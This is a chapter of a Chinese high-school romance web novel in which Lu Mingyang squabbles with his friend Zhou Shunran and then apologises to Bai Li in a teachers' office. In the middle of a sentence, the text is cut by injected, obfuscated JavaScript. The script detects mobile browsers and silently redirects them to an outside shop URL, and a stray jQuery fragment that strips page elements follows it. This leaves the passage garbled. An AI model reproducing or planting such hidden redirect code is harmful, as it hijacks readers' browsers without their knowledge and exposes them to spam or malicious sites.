“把人惹生气了怎么办?”
“谁?”
“这个不重要。”
“那怎么惹生气的?”
“......”
一开始问话的人几次语塞,被问话的人倒是兴致十足,甚至了然于胸的自信。
“生气的是白栎,你又嘴欠了。”周顺然如是判决。
陆鸣杨紧紧皱着眉头,不承认,也不否认。
两辆并行的自行车在校门口停下,前方轿车、家长、学生挤成一团,周顺然和陆鸣杨改为推着车往前走。
不远处「南江市一中」的牌匾被擦得通亮,打了蜡的木头在夏日阳光的照射下显得格外刺眼。
校门口通往高一教室的这条路上有一个不算陡峭的上坡,植被稀疏,随着夏天的到来,早就高高挂起的太阳把树的影子都晒成了吝啬的一小团。
蝉鸣声滋啦滋啦地响彻在整个校园,某个班级已经开始了早读,不时和上些拍子,也不知道是谁在给谁伴奏。
周顺然忽然想到什么,先自己乐了好一通,又给摆了一早上怨夫脸的人分享:“我放假的时候看了一个视频。”
陆鸣杨盯着他忽然傻乐的一张脸,仍旧保持着自己的面无表情。
周顺然依旧不耽误自己的嘴:“说有人发现大太阳天站在树下也时不时感觉有雨落下来,就觉得很奇怪。后来专家发现,其实是蝉吸食了太多的汁液,不能储藏,就排出来了。哈哈哈哈哈哈哈哈倾盆大尿。”
周顺然边讲,边笑得恨不得岔过气去。
“......”陆鸣杨更烦躁了。
我和你说前门楼子,你给我扯胯骨轴子。周顺然就是有这样的本事,他也是失心疯了会让他去想办法。
周顺然拉住明显破防人的自行车后座,说他:“你看,你又急。”
“放开。”
“哎哟我的小陆哥,你和白栎一天不拌嘴三天不吵架我都感觉这书读着一点意思都没有,你怎么还能次次都这么走心?”
陆鸣杨被锯了嘴这才长回来:“是我走心吗?说她两句大小姐一个月不带理人的,我走不走心她在意吗?”越说越气,他也开始犯一些男人的通病,“我发誓,我再主动找她说话我就是狗!”
周顺然乐了,松开了他的后座,点点头:“行。”
他就乐意看陆鸣杨次次这么去当白栎的狗。
—
现在已经是高一下学期了,刚开学的时候大家还穿着厚重的羽绒服,即使开着空调,南江的湿冷也幽幽散落在教室的每个角落。
随着桌上的书本堆越来越高,气温也逐级攀爬,前几天新闻里还发布了全市高温预警的消息。
周顺然已经嚷嚷好几天了,学校这破空调,开到16度也和家里26度差不多。就这样,老师还只让开到26度。
简而言之,没法活了,读不下去书了。
这话刚好被路过的班主任吴沁语听到,拿书本轻拍了一下他的脑袋,说,再热人家重点班不照样八九百分的考,怎么不见别人被热得连笔都拿不动了呀。
周顺然捂着脑袋装模作样哎哟两声,被抓包也不见心虚:“我的老班,人家在六楼,我们在一楼,高处不胜寒呀。”
“废话这么多,有这个空贫嘴不知道又能多写几个选择题。”班主任睨他。
周顺然见好就收,从空调吹风口离开,“写,我现在就去写。”
走到座位上,上课铃刚好响了。周顺然往台上一看,进来的人是语文老师。
于是他放心去找后座的人说小话:“小陆哥,语文课。”
陆鸣杨抬眼,说自己不瞎。
得,那就是瞎了。
周顺然把话再说明白点:“周一要收周记,刘老师穿着那坡跟鞋,你就好意思让人这么抱着五六十本作业本上六楼?”
陆鸣杨拧着眉毛不说话,周顺然心想这还不懂?他都把饭喂嘴边了,不至于还让他嚼碎吧?
就在他还犹豫要不要再给自己的兄弟嚼巴两下的时候,咚的一声,粉笔头直中扭头不看黑板人的眉心。
语文老师在上面发话:“周顺然,你起来把琵琶行背一下。”
周顺然站起来,小嘴巴闭得紧紧的。
今天一说话就触霉头,还真有点像他奶奶说的,出门忘了看黄历。
—
语文课一下课,刘老师就喊门外站着的周顺然:“帮我把收上来的周记本送到六楼办公室。”
周顺然拒绝的权利都没有,负荆请罪的自觉。
就这样陆鸣杨还要来冷言冷语几句,说他就是平民装了预言家,还是第一晚就被刀了的那种。
周顺然看这人越过千山万水也要到讲台这儿来嘲笑他,也不急着帮老师做苦力了。周记本悉数推到他手里,笑着说:“你去。”
“啧,惯的你?”
“是呗,站一节课腿都麻了,谁还爬得上六楼呀。”周顺然说。
陆鸣杨掂了掂手上一大摞花花绿绿的本子,重量是不轻。于是他难得做好人,喊旁边人,“背你的琵琶行去吧。”
—
南江一中分地盘的方式很好懂,东边是高一的东升楼,南边是高二的南风楼,西边是高三的西望楼,北边就是图书馆。
陆鸣杨抱着作业从一楼往上走,楼层越高,楼道打闹的人越少。到了六楼,走廊只见零星几个往洗手间走的人,班级里却是一片黑压压低着的脑袋。
他随意往一个窗户看进去,就找到了一个扎着高高马尾的脑袋——正和另一个脑袋凑在一起,对着一本作业题写写画画。
他把作业本大剌剌地堆在窗台上,再敲敲关着的玻璃窗,被打断的两个脑袋同时朝他看了过来。
陆鸣杨用手指了窗台上的作业本,朝着里面做嘴形:门关了。
白栎又重新看回作业本,理都不想理他的样子,和这个月的每一天都没什么区别。
陆鸣杨也不急,站在窗户面前,把阳光挡了个彻彻底底。
直到预备铃都响了,他仍旧动也不动一下。
前桌的一个男生来找白栎借上周的笔记,白栎找了好一会,才递给了他。
外面的人这才像是被太阳晒得没了耐心,眉头皱得紧紧的,又在咚咚咚敲着她的窗户。
白栎没去理他,只对坐在外面的李琪琪说了些什么,两人都从座位上站了起来。
然后她才终于走出了班级,走到了他的面前。
陆鸣杨看她起身的时候就把作业本抱了起来,被人撂了大半天也没多嘴什么,跟着白栎往前走。
六楼有两间大的教师办公室,一间关了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874382|212054||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,再找另一间的老师借一下钥匙开门就好了。
陆鸣杨说,我又不常来这,哪个老师会把钥匙借给我?
白栎没吭声。
他又问:“你还在生气吗?”
男生长起个子来不过一个寒暑假的事情,白栎都不知道,陆鸣杨是在哪一天一下比自己高这么多的。
侧过身子来挡她,还要弯腰又低头。
白栎绕过他,还是往前走。
等走到办公室门口,才发现门根本就是开着的,只是老师不在里面罢了。
白栎甚至是怒目在瞪他。
陆鸣杨做疑惑状:“刚刚是关着的呀,怎么现在又开了?”
边说边轻车熟路地往刘老师办公桌的方向走,一摞看着就不轻的作业本被他放得轻轻松松。
放完作业本,他又前言不搭后语地开口:“我错了。”
这里除了他俩一个人都没有,所以说任何话,都只有白栎能够听见。
但她仍旧无动于衷。
陆鸣杨低着头去寻沉默的人的眼睛,无论在外面和陆伯伯是怎样的华贵打扮,在学校都只会和所有人一样,穿着干干净净的蓝白校服,头发也是乖顺地落在额头上。
一双乌黑透亮的眼睛直直地与她对视,再压低声线重复:“我错了。”
这种话在他嘴里实在稀罕,白栎终于舍得去看他的眼睛,但却是根本不吃这一套的样子,清清冷冷的嗓音问他:“你怎么会有错。”
见她终于愿意开口说话,陆鸣杨这才笑了一下,放松身子靠在了门框上,“谁给我做一张‘白栎免罪卡’,这一年的零花钱我都得给出去。”
白栎心想,就他这张嘴,怕是这辈子的零花钱都不够造的。
陆鸣杨一看她的表情就知道,这气怕是还没完全消。
他又重新站直了身子,走到了刘老师的办公桌旁边,从那堆作业里翻找了一阵子,抽出一个本子撕下一页,再随手拿起桌上的笔,认真写了些什么。
白栎催他:“我要回去了,马上要上课了。”
“等一下。”
陆鸣杨走到她的面前,把刚刚撕下的半张纸摊开在她面前。
俊逸的字迹与白栎的视线平齐,纸张后面有一双意气风发的眼睛,睫毛又长又密,扑闪的动作很容易让人想到夏夜的星星。
这双眼睛的主人正勾着嘴角喊她的名字,声音像是放满冰块的薄荷饮料。
“不要生气了,好么?”
“算我欠你一次,好么?”
盛夏的蝉鸣清脆嘹亮,一声接着一声,毫无间隙,像是想帮谁掩盖点什么。
白栎接过那张纸,折都没折一下,塞进了自己的校服口袋里。
说出口的话也急得像是被嘴里的字给烫到了:“上课了,我要回去了。”
陆鸣杨问她:“除了这句呢?”
“你也该回去了。”
“嗯。”要爬六楼的人反倒无事一身轻的样子,还要问她:“还有呢?”
白栎又开始瞪他了。
气鼓鼓的样子,像极了姜阿姨新种的绣球花。
上课铃响了,陆鸣杨也不和她绕弯子了:“那还生气吗?”
白栎:“陆鸣杨,你真烦。”
“哦。”他点点头,“那就是不气了。”